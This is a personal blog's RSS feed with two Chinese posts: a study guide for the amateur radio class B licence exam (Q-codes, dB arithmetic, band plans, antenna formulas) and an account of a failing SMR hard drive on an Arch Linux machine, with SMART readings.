Les1ie
行百里者半九十。
https://iansmith123.github.io/
Tue, 20 Aug 2024 14:09:57 +0000
Tue, 20 Aug 2024 14:09:57 +0000
Jekyll v3.10.0
-
业余无线电B证不完全指南
<h1 id="序">序</h1>
<p>拿到A证一年了,虽然并没有通联多少 :) 以前还偶尔在协会中继和自由无线中继听听聊聊,后来协会中继不知为何没了,自由无线也没了,便偶尔在昌平中继上听听,昌平中继的老哥们贼能聊,都是老熟人,一个比一个客气 hhhhh</p>
<p>恰巧报上了B证的考试,于是花了一周时间抽空学习,速通了B证,B证相对于A证的特点是添加了更多理论计算和一些需要死记硬背的知识。在预习过程中在网上搜了很多理论知识的计算方法,也参考了很多大神 ham 总结的考试经验,还有 “ham模拟考试”这个微信小程序的很多网友们脑洞大开的评论。其中一些信息帮助我理解了题目,也有一些信息大大大大减少了我的记忆量,在此表示感谢。</p>
<p>今天中午刚考完试,感觉良好,所以趁着我还没忘光,我也写写笔记,一来是自己备忘,二来是随缘帮助那些需要准备B证的 ham。</p>
<p>题库在北京业余无线电协会可以下载到,下载链接是 <a href="http://bjwxdxh.org.cn/news/html/?1001.html">v20211022</a>。强烈建议打印这个整理好的<a href="https://exam.ham.upall.cn/?t=b">在线版本</a>,打印出来装订成册方便做笔记。B类的很多题目在反复考一个知识点,做笔记能够提高效率,在手机上刷题不方便总结。</p>
<p>我不会把所有的题目都列一遍,工作量太大了,建议参考这几位 ham 总结的内容。</p>
<ul>
<li>https://zgc261.com/post/20220856.html</li>
<li>https://bokjan.com/2022/05/crac-ar-license-exam-b-class-review.html</li>
<li>https://zhuanlan.zhihu.com/p/663985104</li>
<li>https://www.zhihu.com/tardis/zm/art/290652855?source_id=1003</li>
<li>https://www.jimmytian.com/archives/crac-aro-licence-b-review-guide.html</li>
</ul>
<h1 id="一些题目的涉及知识和做题技巧">一些题目的涉及知识和做题技巧</h1>
<p>这里我写一些我对题目的理解,可能存在谬误,欢迎指正。</p>
<h2 id="涉及业余无线电违法的相关处罚">涉及业余无线电违法的相关处罚</h2>
<p>A证里面也有这个题目,技巧很简单,只要是涉及到处罚相关的,包括题目 LK0094-LK0104 以及题目LK0110,一律选处罚最严格的项目,最轻的是拆除警告没收,其次是罚款,最严厉的是刑事处罚。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="rouge-code"><pre>0079. 业余电台随意变更核定项目、发送和接收与业余无线电无关的信号的,国家无线电管理机构或者地方无线电管理机构可以根据其具体情况给予设置业余无线电台的单位或个人下列处罚: [LK0096]
1. 警告、查封或者没收设备、没收非法所得;情节严重的,可以并处一千元以上,五千元以下的罚款
2. 劝告拆除非法设置的电台;情节严重的,可以并处警告、查封或者没收设备
3. 责令停止使用非法设置的电台;情节严重的,可以并处警告、查封或者没收设备
4. 责令停止使用非法设置的电台并作出书面检查;情节严重的,可以并处一千元以下的罚款
0080. 超出核定范围使用频率或者有其他违反频率管理有关规定的行为的,无线电管理机构可以根据其具体情况给予设置业余无线电台的单位或个人下列处罚: [LK0097]
1. 责令限期改正,可以处警告或者三万元以下的罚款
2. 责令限期改正,可以处警告或者一千元以上,五千元以下的罚款
3. 责令限期改正,可以处警告或者一千元以下的罚款
4. 责令限期改正,情节严重的,可以并处警告、查封或者没收设备
0093. 业余电台违反无线电管制命令和无线电管制指令的,可以依法规受到下列处罚: [LK0110]
1. 责令改正;拒不改正的,关闭、查封、暂扣或者拆除相关设备;情节严重的,吊销电台执照;违反治安管理规定的,由公安机关处罚
2. 处警告或者三万元以下的罚款
3. 处警告或者一千元以上,五千元以下的罚款
4. 责令改正;并开除业余无线电协会会籍、罚没无线电通信设备
</pre></td></tr></tbody></table></code></pre></div></div>
<h2 id="发射类别和信号调制">发射类别和信号调制</h2>
<p>这个记住下表即可</p>
<table>
<thead>
<tr>
<th>调制类型</th>
<th>调制信号</th>
<th>信息类型</th>
</tr>
</thead>
<tbody>
<tr>
<td>A 双边带调幅</td>
<td>1 单通道数字</td>
<td>A 电报-人工</td>
</tr>
<tr>
<td>F 调频</td>
<td>2 单通道数字-副载波</td>
<td>B 电报-自动</td>
</tr>
<tr>
<td>G 调相</td>
<td>3 单通道模拟</td>
<td>E 话音</td>
</tr>
<tr>
<td>J 单边带抑制载波</td>
<td> </td>
<td> </td>
</tr>
</tbody>
</table>
<p>所以这里CW电报是 A1A
单边带话是J3E,事实上题目LK0128询问的单边带话音这里只有这一个 E的选项,直接选出答案
单表带话传输的RTTY是F2B,因为他是调频的自动电报
PSK31是 P 是 Phase,调相,选择G 开头的
调频话就 Freq,所以 F3E</p>
<h2 id="短波各段可以实际占用的频率">短波各段可以实际占用的频率</h2>
<p>题目 LK0164-LK0170 涉及的数字极多,难以记忆。最初我是准备放弃这个题目的,但是凑巧在 ham 模拟考试的小程序中看到了一个通用的解决方案:“实际占用开头选最大,一样选最长”。瞬间解决了一个硬骨头。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="rouge-code"><pre>0131. 我国短波业余电台在7MHz频段进行LSB通话时可以实际占用的频率为: [LK0164]
1. 7.030-7.200MHz
2. 7.000-7.100MHz
3. 7.023-7.200MHz
4. 7.000-7.200MHz
0132. 短波业余电台在14MHz频段进行USB通话时可以实际占用的频率为: [LK0165]
1. 14.100-14.350MHz
2. 14.030-14.350MHz
3. 14.000-14.250MHz
4. 14.070-14.250MHz
0133. 短波业余电台在18MHz频段进行USB通话时可以实际占用的频率为: [LK0166]
1. 18.1105-18.168MHz
2. 18.110-18.170MHz
3. 18.068-18.186MHz
4. 18.1005-18.180MHz
0134. 短波业余电台在21MHz频段进行USB通话时可以实际占用的频率为: [LK0167]
1. 21.125-21.45MHz,除去21.1495-21.1505
2. 21.125-21.45MHz
3. 21-21.45MHz
4. 21-21.35MHz
</pre></td></tr></tbody></table></code></pre></div></div>
<h2 id="俗称开头的波段和业务使用状态">俗称开头的波段和业务使用状态</h2>
<p>这个只能硬记了,难搞
40米选 7.0-7.2 开头的
160米选 1800-2000, 2x8=16 辅助记忆
80米选 3.5-3.9 主要
20米选 14-14.25
15米和10米,选尾数和其他选项相同的专用
6米2米选主要
0.7米选次要</p>
<h2 id="波长和频率">波长和频率</h2>
<p>题目考了不少关于波长和频率的知识,记住高频 HF 是 High Frequence 的缩写,考了B证可以玩短波这个基本事实,即可推出所有的频段和波长了。频率按照10倍递增,波长按照10倍递减。值得注意的是,题目里面的名称和波长对应关系都是正确的,所以记住了频段名称或者波长都能做题。</p>
<table>
<thead>
<tr>
<th>频率</th>
<th>缩写</th>
<th>含义</th>
<th>频段名称</th>
<th>波长</th>
</tr>
</thead>
<tbody>
<tr>
<td>30k-300k</td>
<td>LF</td>
<td>Low Freq</td>
<td>低频</td>
<td>长波</td>
</tr>
<tr>
<td>300k-3000k</td>
<td>MF</td>
<td>Mean Freq</td>
<td>中频</td>
<td>中波</td>
</tr>
<tr>
<td><strong>3M-30M</strong></td>
<td><strong>HF</strong></td>
<td><strong>High Freq</strong></td>
<td><strong>高频</strong></td>
<td><strong>短波</strong></td>
</tr>
<tr>
<td>30M-300M</td>
<td>VHF</td>
<td>Very High Freq</td>
<td>甚高频</td>
<td>米波</td>
</tr>
<tr>
<td>300M-3000M</td>
<td>UHF</td>
<td>Ultra High Freq</td>
<td>特高频</td>
<td>分米波</td>
</tr>
<tr>
<td>3G-30G</td>
<td>SHF</td>
<td>Super High Freq</td>
<td>超高频</td>
<td>厘米波</td>
</tr>
<tr>
<td>30G-300G</td>
<td>EHF</td>
<td>Extremely High Freq</td>
<td>极高频</td>
<td>毫米波</td>
</tr>
</tbody>
</table>
<h2 id="q简语和单词缩写">Q简语和单词缩写</h2>
<p>Q简语很多,部分理解记忆和联想记忆,少部分只能硬记。理解和联想基本能够覆盖大部分常用的内容。考试涉及的大部分是QR开头的,QS开头的较少。这里只提到考试需要选择的选项,错误选项的不写。</p>
<table>
<thead>
<tr>
<th>Q简语</th>
<th>联想记忆</th>
<th>含义</th>
</tr>
</thead>
<tbody>
<tr>
<td>QRL</td>
<td> </td>
<td>有人使用这个频率么</td>
</tr>
<tr>
<td>QRM</td>
<td>QR(Man)</td>
<td>有其他人/其他台干扰</td>
</tr>
<tr>
<td>QRN</td>
<td>QR(Nature)</td>
<td>天电干扰</td>
</tr>
<tr>
<td>QRO</td>
<td>QRP相邻,但是相反</td>
<td>增加功率</td>
</tr>
<tr>
<td>QRP</td>
<td>QRP是一种小功率玩法</td>
<td>减小功率</td>
</tr>
<tr>
<td>QRQ</td>
<td>QR(Quick)</td>
<td>加速发送</td>
</tr>
<tr>
<td>QRS</td>
<td>QR(Slow)</td>
<td>减速发送</td>
</tr>
<tr>
<td>QRT</td>
<td>QR(sTop)</td>
<td>停止发送</td>
</tr>
<tr>
<td>QRU</td>
<td>QR(U事,有事?)</td>
<td>找我有事</td>
</tr>
<tr>
<td>QRV</td>
<td>QR(V,胜利的v,表示准备好)</td>
<td>准备好了</td>
</tr>
<tr>
<td>QRZ</td>
<td> </td>
<td>谁在呼叫</td>
</tr>
<tr>
<td>QSA</td>
<td> </td>
<td>信号强度</td>
</tr>
<tr>
<td>QSB</td>
<td>QS(Behind)</td>
<td>信号衰落(记忆为落后)</td>
</tr>
<tr>
<td>QSD</td>
<td> </td>
<td>发信手法有毛病</td>
</tr>
<tr>
<td>QSL</td>
<td>QSL卡片</td>
<td>QSL卡片,收妥</td>
</tr>
<tr>
<td>QSO</td>
<td>eyeball QSO,眼睛通联也是一种</td>
<td>和xxx通信</td>
</tr>
<tr>
<td>QSP</td>
<td>QS(Post)</td>
<td>发信中转</td>
</tr>
<tr>
<td>QSX</td>
<td> </td>
<td>将在xxx频段守听</td>
</tr>
<tr>
<td>QSY</td>
<td>和QSX联合记忆,x主动收听,y让别人改频</td>
<td>改频段到 xxx</td>
</tr>
<tr>
<td>QTH</td>
<td>QT(There)</td>
<td>位置</td>
</tr>
</tbody>
</table>
<p>单词缩写的题目,自行查询词典和上网检索即可,我只写几个常见的</p>
<table>
<thead>
<tr>
<th>缩写</th>
<th>缩写前</th>
<th>含义</th>
</tr>
</thead>
<tbody>
<tr>
<td>ATT</td>
<td>attenuator</td>
<td>衰减、衰减器</td>
</tr>
<tr>
<td>GA</td>
<td>Go Ahead/ Good Afternoon</td>
<td>继续、请过来、下午好</td>
</tr>
<tr>
<td>HST</td>
<td>High Speed Telegraph</td>
<td>快速收发报</td>
</tr>
<tr>
<td>ANT</td>
<td>Antenna</td>
<td>天线</td>
</tr>
<tr>
<td>BK</td>
<td>Break in</td>
<td>打断、插入</td>
</tr>
<tr>
<td>ES</td>
<td>ampersand</td>
<td>& 和</td>
</tr>
<tr>
<td>FB</td>
<td>fabulous</td>
<td>极好</td>
</tr>
<tr>
<td>MTRS</td>
<td>meters</td>
<td>米</td>
</tr>
<tr>
<td>SK</td>
<td>Stop Keying</td>
<td>停止拍发,停止按电键</td>
</tr>
<tr>
<td>WTS</td>
<td>watts</td>
<td>瓦特</td>
</tr>
<tr>
<td>LW</td>
<td>long wire</td>
<td>长线天线</td>
</tr>
<tr>
<td>NB</td>
<td>Noise Block</td>
<td>抑制噪音</td>
</tr>
<tr>
<td>ALC</td>
<td>Auto Power Level Control</td>
<td>发信自动电平控制</td>
</tr>
<tr>
<td>AT</td>
<td>Auto antenna Tuner</td>
<td>自动天线调谐</td>
</tr>
<tr>
<td>VOX</td>
<td>Voice Operated Tx</td>
<td>发信机声控</td>
</tr>
<tr>
<td>RIT</td>
<td>Receive(RX) Incremental Tuning</td>
<td>接收增量调谐</td>
</tr>
<tr>
<td>XIT</td>
<td>TX Incremental Tuning</td>
<td>发送增量调谐</td>
</tr>
</tbody>
</table>
<h2 id="分贝相关的计算">分贝相关的计算</h2>
<p>需要知道的是,关于 dB, dBw, dBm, dBu, dBi, dBd 以及档位 S0-S9 的计算,只要弄懂其中原理,答案全部是可以现场推出来的。我花了点时间才了解这几个定义的含义,这里可以简单看看下表再看这个详细的推理计算过程<a href="https://www.espressif.com/zh-hans/media/blog/%E5%A2%9E%E7%9B%8A%E6%AF%94%E5%80%BC-db-%E4%BB%A5%E5%8F%8A-dbw-dbmv-%E7%AD%89%E4%B9%8B%E8%AF%A6%E8%A7%A3">说明</a>。如果学过初中数学和初中物理,那么预计一小时内可以完全掌握。</p>
<p>看懂 dB 的计算之后就能秒杀上面提到的几个题目了。</p>
<p>写博客的初衷是为了让尽量多的人都能看懂,所以我尽量把详细的基础知识列出来。先了解对数计算的基本公式</p>
<p>$\log_b(x \cdot y) = \log_b x + \log_b y$</p>
<p>$\log_b \left(\frac{x}{y}\right) = \log_b x - \log_b y$</p>
<p>$\log_b(x^k) = k \log_b x$</p>
<p>$\log_b b = 1$</p>
<p>$\log_b 1 = 0$</p>
<p>$\log_{10} k =\lg k$</p>
<p>$\lg2=0.3$</p>
<p>$\lg10=1$</p>
<p>以及指数计算的公式</p>
<p>$\frac{1}{x^n}=x^{-n}$</p>
<p>和上面结合可以得到</p>
<p>$\log_b\frac{1}{x^k} = k \log_b x^{-1}=-k\log_b x$</p>
<p>符号解释如下:</p>
<table>
<thead>
<tr>
<th>符号</th>
<th>含义</th>
<th>存在的换算关系</th>
</tr>
</thead>
<tbody>
<tr>
<td>dB</td>
<td>分贝,这是一个把倍数化简的写法,和数学除法的倍数完全一样,只是写法不同</td>
<td>$dB=10\lg\frac{A}{B}$</td>
</tr>
<tr>
<td>dBw</td>
<td>分贝瓦,这里用下标 $o$ 指代作为参考的单位功率或者单位电流、单位电压</td>
<td>$0dBw=10\lg\frac{P}{Po}=10\lg\frac{I^2R}{I^2_oR}=10\lg\frac{\frac{U^2}{R}}{\frac{U^2_o}{R}}=20\lg\frac{I}{I_o}=20\lg\frac{U}{U_o}$</td>
</tr>
<tr>
<td>dBm</td>
<td>分贝毫瓦( 毫瓦是10^-3瓦)</td>
<td>$0dBw=10\lg\frac{1w}{1mw}=10\lg\frac{1000mw}{1mw}=30dBm$</td>
</tr>
<tr>
<td>dBu</td>
<td>分贝 $\mu$瓦 ($\mu$瓦是10^-6瓦)</td>
<td>$0dBm=10\lg\frac{1mw}{1\mu w}=10\lg\frac{1000\mu w}{1\mu w}=30dB\mu$ 因此 $0dBw=30dBm=60dB\mu$</td>
</tr>
<tr>
<td>dBi</td>
<td>分贝点源天线功率,一般计算的时候以这个为 0dBw 作为相对值计算</td>
<td>0dBi=0dBd-2.15dB</td>
</tr>
<tr>
<td>dBd</td>
<td>分贝偶极天线功率</td>
<td>0dBd=2.15dBi</td>
</tr>
</tbody>
</table>
<p>根据值 $\lg2=0.3$ 和 $\lg10=1$ ,以及 $0dB=10\lg \frac{A}{B}$ 三个基本知识,就能推理出以下内容</p>
<p>dB 值加3,对应倍数乘以 2
dB 值加10,对应倍数乘以 10
dB 值减3,对应倍数除以 2
dB 值减10,对应倍数除以 10</p>
<p>这里以题目 LK0543 为例</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>0415. 某电路输出信号功率是输入信号功率的100万倍,该电路的增益为: [LK0543]
1. 60dB
2. 100dB
3. 99万dB
4. 100万dB
</pre></td></tr></tbody></table></code></pre></div></div>
<p>计算过程便是 $x dB= 10\lg\frac{10^6}{1}=60dB$</p>
<p>题目 LK0544</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>0416. 某电路输出信号功率是输入信号功率的5倍,该电路的增益约为: [LK0544]
1. 7dB
2. 3.5dB
3. 5dB
4. 14dB
</pre></td></tr></tbody></table></code></pre></div></div>
<p>计算过程便是 $xdB=10\lg{5}{1}=10\lg\frac{10}{2}=10(\lg10-\lg2)=10(1-\lg2)=10(1-0.3)=7dB$<br />
需要记住特殊值 $\lg2=0.3$ ,其他的都能推理出来了。</p>
<p>题目 LK0555</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>0427. 某电路输出信号电压是输入信号电压的万分之一,该电路的增益为:(”x^m”表示“x的m次方”) [LK0555]
1. -80dB
2. -10,000 dB
3. 1/10,000 dB
4. 10^-4dB
</pre></td></tr></tbody></table></code></pre></div></div>
<p>因为这里是电压,所以lg前面的倍数是20,计算过程 $xdB=20\lg \frac{1}{10000} =20\lg \frac{1}{10^4}=20\lg 10^{-4}=-80dB$</p>
<p>题目 LK0565</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>0437. 功率为0 dBW的射频信号通过衰减量为 40 dB的衰减器后,输出功率为: [LK0565]
1. 100μW
2. 40mW
3. 140μW
4. 0.40 W
</pre></td></tr></tbody></table></code></pre></div></div>
<p>计算过程也很简单 $0dBw-40dB=-40dBw=-10dBm=20dB\mu=0dB\mu +20dB =1\mu w \times 10 \times 10 =100\mu w$
也可以计算为 $0dBw-40dB=-40dBw=1w \div 10\div10\div10\div10=10^{-4}w=10^{-1}mw=100\mu w$</p>
<h2 id="滤波器相关">滤波器相关</h2>
<p>这里提几个滤波器的概念</p>
<table>
<thead>
<tr>
<th>滤波器</th>
<th>功能</th>
</tr>
</thead>
<tbody>
<tr>
<td>低通滤波器</td>
<td>低于该频段的都能通过</td>
</tr>
<tr>
<td>高通滤波器</td>
<td>高于该频段的都能通过</td>
</tr>
<tr>
<td>带通滤波器</td>
<td>这个频带内的都能通过</td>
</tr>
<tr>
<td>带阻滤波器</td>
<td>这个频带内的都能阻止</td>
</tr>
</tbody>
</table>
<p>知道这四个概念,那么题目 LK0573-LK0576 就没问题了。
注意中继台的上行是指接受其他电台发送的信号。下行是指发送出去信号。和普通的设备是相反的。</p>
<h2 id="镜像频率干扰的计算">镜像频率干扰的计算</h2>
<p>只需记住干扰频率是 $RF\pm 2\times IF$ 即可算出 LK0841-LK0844
例如题目 LK0844</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>0532. 在超外差式收信机电路中,信号通道的有用信号频率比本振频率低(或者高)一个中频频率。但比本振频率高(或者低)一个中频频率的信号也可能窜入信号通道,称为“镜像频率干扰”或“镜频干扰”。某UHF对讲机的使用说明书技术指标部分给出了第一中频(IF)为58.525MHz,但没有更多的资料。由此可推测当接收435.00MHz信号时下述频率之一的强信号可能造成镜频干扰: [LK0844]
1. 317.95MHz或552.05MHz
2. 376.475MHz或493.525MHz
3. 58.525MHz或117.05MHz
4. 234.10.05MHz或.468.20MHz
</pre></td></tr></tbody></table></code></pre></div></div>
<p>计算
$435.00+58.525\times 2=552.05$
和
$435.00-58.525\times 2=317.95$</p>
<h2 id="天线振子长度计算">天线振子长度计算</h2>
<p>题目 LK0916</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>0563. 制作工作频率为f(单位:兆赫兹)的某相控天线阵列需要长度为1/4波长的同轴电缆。其大致长度(单位:米)为: [LK0916]
1. 48.8 / f
2. 149.8 / f
3. 75 / f
4. 71.3 / f
</pre></td></tr></tbody></table></code></pre></div></div>
<p>计算过程根据电磁波速度等于频率乘以波长,即 $c=\lambda f$ 以及电磁波在介质中的传播速率计算可以推出。传播速率跟相对介电常数$\varepsilon_r$相关,这里不作过多引入。只需记住相控阵的铜导线中电磁波速率是0.65c,偶极天线中的计算用 0.95c即可。这里需要1/4波长电缆,电缆中电磁波速度是0.65c,那么
$\frac{1}{4}\lambda=\frac{1}{4} \times \frac{0.65c}{f(mHz)}=\frac{1}{4}\times \frac{3\times 10^8\times 0.65}{f\times 10^6}=48.75$</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>0564. 制作工作频率为f(单位:兆赫兹)的半波长偶极天线。每个振子的大致长度(单位:米)为: [LK0917]
1. 71.3 / f
2. 48.8 / f
3. 142.6 / f
4. 150 / f
</pre></td></tr></tbody></table></code></pre></div></div>
<p>半波长偶极天线有两个振子。两个振子总长度是半波长,每个振子长度是 1/4 波长。
$\frac{1}{4}\lambda=\frac{1}{4} \times \frac{0.95c}{f(mHz)}=\frac{1}{4}\times \frac{3\times 10^8\times 0.95}{f\times 10^6}=71.25$</p>
<h1 id="跋">跋</h1>
<p>业余无线电的考试相当于考了汽车驾照,拿到驾照才是开车的基础,考试可以突击应付,但是人生还得认真过。</p>
<p>73</p>
<p>BI1QDZ</p>
Sat, 01 Jun 2024 14:57:03 +0000
https://iansmith123.github.io/2024/06/01/amateur-radio-b-exam/
https://iansmith123.github.io/2024/06/01/amateur-radio-b-exam/
随笔
-
坏掉的 SMR 硬盘
<h1 id="序言">序言</h1>
<p>上一次写博客是2021年7月12日,再过一个月就是两年了。两年来整日忙忙碌碌,却又碌碌无为,近月偶有写博客之想法,却又懒得动手 ;)</p>
<p>昨日主力台式机的硬盘突然歇菜了,感概良多,心情起起落落,决定记下来,当作一个回忆吧</p>
<h1 id="硬盘损坏">硬盘损坏</h1>
<p>台式机目前是我的主力机器,系统是 Arch + i3wm。</p>
<p>昨天(2023-06-08T01:00:00Z) 到工位,解锁屏幕,习惯性<code class="language-plaintext highlighter-rouge">sudo pacman -Syu --noconfirm</code>,然后准备开始新一天的浑浑噩噩,发现我的 firefox 异常卡顿。看了下 CPU和内存是正常的,我就挺疑惑,于是重启了 firefox. 接着发现我的终端也是卡卡的,不能及时响应我的回车。再去 glances 看了看,iowait 挺高,但是看了下 qbittorrent 还在正常工作,也就几 kb 的上行,而且我设定了上班时间限速 10kb , 看起来也不是 qb 读写造成的。 dstat 也没有看到啥奇怪的指标。</p>
<p>迷惑起来了,但我并不想去找原因,因为解决这个问题并不是我当前的主要矛盾,遇事不决,重启解决。</p>
<p>敲下 shutdown -r now 之后,我转向了旁边的 windows 笔记本,开始了新一天的网上冲浪 :)</p>
<p>过了两分钟,回头一看,怎么还没开机,按理说10秒就能重启完看到 SDDM 的。这才注意到,提示我进入到了 Emergency mode。输入 root 密码,看了看日志,一脸懵,没看到啥奇怪的东西啊,有看到说 fsck 失败,但是这会导致启动失败么,我想当然的认为了这会跳过这个硬盘,然后开机挂载失败。
突然,一道闪电划过,这是 fsck 失败啊,想到了什么不好的事情,因为半个月前我看到硬盘的 smart 信息不太正常。当时硬盘出现了一次 readonly 的问题,但是重启解决了,当时想了想这上面东西基本都有备份,也就没去管他了。</p>
<p>这主力机的硬盘的道道有点多,不只指的是坏道有点多,历史故事也有点多。</p>
<p>机器有3块硬盘,一块 120G 的 sata 固态,一块是希捷的 2T 的 <a href="https://www.seagate.com/cn/zh/products/cmr-smr-list/">SMR 机械</a>(写这篇博客之前我都没注意),还有一块是前两周刚上机的用来接替前面这2T硬盘的希捷 EXOS CMR机械硬盘。</p>
<p>根路径是那个 120G 的辣鸡 sata 固态,好在 Arch + i3wm 不太吃资源,平时只用来敲代码,挂了一些服务,计算工作都在服务器上跑的,所以除了偶尔空间不太够,倒是一直流畅。</p>
<p>2T 的希捷被分成了两个 1T 的分区。一个分区是以前 windows+ubuntu 双系统时候的windows的数据盘,被格式化成 ext4挂载到了 <code class="language-plaintext highlighter-rouge">/data</code> ;另一个分区是 以前 ubuntu 的根分区,在我主力使用 Arch 之后挂载到了 <code class="language-plaintext highlighter-rouge">~/ubuntu</code> 下面,所以我要访问以前的数据,需要访问路径 <code class="language-plaintext highlighter-rouge">/home/{USERNAME}/ubuntu/home/{USERNAME}/old_path</code>。这次出问题的便是这 <code class="language-plaintext highlighter-rouge">~/ubuntu</code> 这个分区。</p>
<p>所以现在的挂载点如下(略去无关硬盘)</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
sdb 8:16 0 1.8T 0 disk
├─sdb1 8:17 0 1000G 0 part /data
├─sdb3 8:19 0 513M 0 part
└─sdb4 8:20 0 862.5G 0 part /home/yuyu/ubuntu
sdc 8:32 0 119.2G 0 disk
├─sdc1 8:33 0 511M 0 part /boot
└─sdc2 8:34 0 118.7G 0 part /
</pre></td></tr></tbody></table></code></pre></div></div>
<p>回到正题,把报错信息上网搜索了一番,发现有人遇到同样的<a href="https://blog.csdn.net/weixin_44444810/article/details/121524643">问题</a>,于是我也决定试试 fsck 看看能不能修复。</p>
<p>以前网上也看到有人说 fsck 修复就完事了,我也没想太多,直接 <code class="language-plaintext highlighter-rouge">fsck -y /dev/disk/by-uuid/12121212</code> 敲进去,很快,飞快的跑了起来,看起来需要一点时间,于是我继续网上冲浪。</p>
<p>看到有人说 fsck 会把磁盘搞得很乱,这时候发现我已经没有回头路了。</p>
<p>等待 fsck 的时间,心理活动如下 :)</p>
<p>坏消息:硬盘坏了。</p>
<p>好消息:似乎看起来能修。</p>
<p>坏消息:实验代码在里面。</p>
<p>好消息:写完一个部分我都顺手 git 推送到了两个不同的服务器。</p>
<p>坏消息:有一部分比较大的数据文件可能没加到 git 里面。</p>
<p>好消息:可能他们没那么重要,也有部分被 pycharm 自动同步到远程服务器了。</p>
<p>坏消息:实验数据也在这块坏了的硬盘。</p>
<p>好消息:大部分数据都在服务器,数据集有多重备份。</p>
<p>坏消息:除了实验代码,还有以前突发奇想写的一些其他仓库的代码。</p>
<p>好消息:几年都没用一次,他们也似乎没那么重要。</p>
<p>坏消息:我有一些配置类的数据和日志,比如 prometheus 和 clash 都在这个路径。</p>
<p>好消息:都能重新配置。Prometheus 抓的本机和服务器的日志并不重要。</p>
<p>坏消息:/data 路径也是同一块磁盘,可能也会受到影响。</p>
<p>好消息:全部备份到了新的希捷硬盘。</p>
<p>心情起起落落落落落,最后得出结论,基本没影响。</p>
<p>等了快一个小时, fsck 终于跑完了。看了 fsck 跑出来的文件,完全没有我的工作路径的文件,所以结局是什么都没剩下。</p>
<p>现在重启电脑能正常进 SDDM 了,所以的确是硬盘故障导致的开机失败。</p>
<p>这块机械硬盘的两个分区都是长期 90% 以上的空间占用,而我也没其他的硬盘来缓解他的压力,于是只能长期用这一丁点的空间,造成了对部分扇区的反复擦写,这对于叠瓦来说,简直就是 debuff 加 debuff,光速坏掉也就是意料之中了。</p>
<p>看了 smart 信息,通电时间 23000小时。SMR 的寿命也还凑合吧。以后拿来当个下载盘,放点不重要的数据。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre>ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE
1 Raw_Read_Error_Rate 0x000f 080 042 006 Pre-fail Always - 93759304
3 Spin_Up_Time 0x0003 098 098 000 Pre-fail Always - 0
4 Start_Stop_Count 0x0032 100 100 020 Old_age Always - 66
5 Reallocated_Sector_Ct 0x0033 098 098 010 Pre-fail Always - 6792
7 Seek_Error_Rate 0x000f 085 060 045 Pre-fail Always - 348280899
9 Power_On_Hours 0x0032 074 074 000 Old_age Always - 23282h+35m+49.427s
10 Spin_Retry_Count 0x0013 100 100 097 Pre-fail Always - 0
12 Power_Cycle_Count 0x0032 100 100 020 Old_age Always - 60
183 Runtime_Bad_Block 0x0032 099 099 000 Old_age Always - 1
184 End-to-End_Error 0x0032 100 100 099 Old_age Always - 0
187 Reported_Uncorrect 0x0032 001 001 000 Old_age Always - 65535
188 Command_Timeout 0x0032 100 099 000 Old_age Always - 5 5 5
189 High_Fly_Writes 0x003a 100 100 000 Old_age Always - 0
190 Airflow_Temperature_Cel 0x0022 062 053 040 Old_age Always - 38 (Min/Max 36/43)
191 G-Sense_Error_Rate 0x0032 100 100 000 Old_age Always - 0
192 Power-Off_Retract_Count 0x0032 100 100 000 Old_age Always - 817
193 Load_Cycle_Count 0x0032 097 097 000 Old_age Always - 7002
194 Temperature_Celsius 0x0022 038 047 000 Old_age Always - 38 (0 20 0 0 0)
195 Hardware_ECC_Recovered 0x001a 080 064 000 Old_age Always - 93759304
197 Current_Pending_Sector 0x0012 100 100 000 Old_age Always - 200
198 Offline_Uncorrectable 0x0010 100 100 000 Old_age Offline - 200
199 UDMA_CRC_Error_Count 0x003e 200 200 000 Old_age Always - 0
240 Head_Flying_Hours 0x0000 100 253 000 Old_age Offline - 20730h+21m+55.140s
241 Total_LBAs_Written 0x0000 100 253 000 Old_age Offline - 17738219158
